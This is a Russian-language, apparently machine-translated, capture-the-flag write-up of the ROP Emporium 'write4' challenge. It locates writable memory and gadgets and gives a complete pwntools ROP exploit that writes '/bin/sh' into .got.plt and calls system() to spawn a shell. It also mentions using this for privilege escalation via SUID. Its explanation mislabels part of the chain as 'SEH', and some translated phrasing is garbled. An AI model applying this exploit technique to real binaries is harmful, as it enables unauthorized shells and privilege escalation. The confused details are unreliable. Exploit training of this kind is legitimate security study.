Завершив наши обычные проверки на наличие интересных строк и символов в этом двоичном файле, мы сталкиваемся с абсолютной истиной, что нашей любимой строки «/ bin / cat flag.txt» на этот раз нет. Хотя позже вы увидите, что есть другие способы решения этой проблемы, такие как разрешение динамически загружаемых библиотек и использование строк, присутствующих в них, мы будем придерживаться цели задачи, которая состоит в том, чтобы научиться получать данные на виртуальный адрес целевого процесса. космос с помощью магии ROP.

Хорошо, мы знаем, что для этого нам понадобятся некоторые гаджеты, поскольку мы отошли от простых вещей ROP, теперь мы становимся немного сложнее. На самом деле есть несколько способов решить эту проблему, но об этом немного позже, и мы можем вернуться к этому позже. А пока просто попробуйте и продолжайте. Не забудьте сначала прочитать другие сообщения, которые помогут понять, как и почему мы закончили с последним эксплойтом.









Записываемая память

Мы знаем, что хотим где-то написать, но где? Для этого мы можем использовать r2, чтобы показать нам разделы памяти rw.

19 0x00000e10     8 0x00600e10     8 -rw- .init_array
20 0x00000e18     8 0x00600e18     8 -rw- .fini_array
21 0x00000e20     8 0x00600e20     8 -rw- .jcr
22 0x00000e28   464 0x00600e28   464 -rw- .dynamic
23 0x00000ff8     8 0x00600ff8     8 -rw- .got
24 0x00001000    80 0x00601000    80 -rw- .got.plt
25 0x00001050    16 0x00601050    16 -rw- .data
26 0x00001060     0 0x00601060    48 -rw- .bss

Как видите, мы можем писать в довольно много мест, поскольку они доступны для чтения и записи (-rw-), некоторые области памяти имеют оговорки, такие как размер, которые мы рассмотрим в следующих публикациях. А пока мы продолжим запись в глобальную таблицу смещений (got), хотя .data также работает.

24 0x00001000    80 0x00601000    80 -rw- .got.plt

Выполнение системного вызова

Нам нужно где-то писать, поэтому мы хотим написать где-нибудь «/ bin / sh», а затем, когда мы будем готовы, вставить «/ bin / sh» в rdi, чтобы выполнить системный вызов.

x86_64 syscall ()

+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
|   %rax  | %rdi | %rsi | %rdx | %r10 | %r8  | %r9  |
+---------+------+------+------+------+------+------+

Мы можем использовать afl в r2, чтобы получить системный адрес ...

[0x00400650]> afl
0x004005a0 3 26 sym._init
0x004005d0 1 6 sym.imp.puts
0x004005e0 1 6 sym.imp.system
0x004005f0 1 6 sym.imp.printf
0x00400600 1 6 sym.imp.memset
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.setvbuf
0x00400640 1 6 sub.__gmon_start_400640
0x00400650 1 41 entry0
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 sym.__do_global_dtors_aux
0x00400720 4 38 -> 35 entry.init0
0x00400746 1 111 sym.main
0x004007b5 1 82 sym.pwnme
0x00400807 1 17 sym.usefulFunction
0x00400830 4 101 sym.__libc_csu_init
0x004008a0 1 2 sym.__libc_csu_fini
0x004008a4 1 9 sym._fini

Гаджеты

Мы хотим записать в раздел .got.plt, поэтому нам нужно сначала извлечь данные из стека в регистр, а затем переместить их в нужное место.

Для этого нам потребуются инструкции pop, mov и ret:

Instruction                  Description
--------------------------------------------------------------------pop [destination]          | pops the top stack var to [destination]
--------------------------------------------------------------------mov [destination], [source]| moves [source] content into                 
--------------------------------------------------------------------
ret                        | return from current procedure
--------------------------------------------------------------------

Но как нам выбрать наш гаджет, ну, если бы мы были такими прилежными, как следовало бы, мы бы заметили это при проверке системы ...

CALL XREF из sym.usefulFunction (0x400810)

Перекрестные ссылки (или просто внешние ссылки) - это функция дизассемблеров, показывающая, откуда были вызваны определенные функции и объекты или какие функции и объекты используются конкретной функцией. Мы можем упростить его, связав его как XREF-To и XREF-From. Ссылка может быть либо данными, либо кодом.

Итак, у нас есть перекрестная ссылка из sym.usefulFunction (0x400810), давайте посмотрим…

Итак, мы подключаем его к отладчику, устанавливаем точку останова, достигаем точки останова, и в этот момент мы видим полезные функции, что это?

Отлично, mov qword ptr [r14], r15; ret - это именно то, что мы хотим.

Итак, теперь у нас есть все необходимое ...

0x004005e0 sym.imp.system
0x00601000 .got.plt
0x0000000000400890 pop r14 ; pop r15 ; ret
0x0000000000400820 mov qword ptr [r14], r15 ; ret
0x0000000000400893 pop rdi ; ret

Теоретически мы делаем это ...

  • Начните с заполнения 40 байтов («A» * 40)
  • RSP перемещается дважды к более высокому адресу, затем выполняется ret для настройки SEH Exploit
  • Затем мы добавляем в стек адрес записываемой памяти.
  • Затем мы записываем «/ bin / sh \ x00» в доступную для записи память.
  • Затем мы открываем rdi и выполняем ret, чтобы подготовиться к системному вызову.
  • Наконец, мы выполняем системный вызов, когда все настроено и «/ bin / sh \ x00» находится в регистре RDI.

Последний подвиг

from pwn import *
data_seg = 0x00601000
system_plt = 0x4005e0
# RIP offset is at 40
rop = "A" * 40
# Write "/bin/sh" to data_seg
# First gadget creates condition for SEH
pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret
rop += p64(pop_r14_r15)
rop += p64(data_seg)
rop += "/bin/sh\x00"
mov_r15_to_r14 = 0x0000000000400820 # mov qword ptr [r14], r15 ; ret
rop += p64(mov_r15_to_r14)
# Call system("/bin/sh")
pop_rdi = 0x0000000000400893 # pop rdi ; ret
rop += p64(pop_rdi)
rop += p64(data_seg)
rop += p64(system_plt)
# Start process and send rop chain
e = process('write4')
print e.recv()
e.sendline(rop)
e.interactive()

Эксплойт в действии, обманутый запуском от имени root, но если бы этот двоичный файл имел разрешение SUID, а я был пользователем с низким уровнем привилегий, это было бы здорово для повышения привилегий.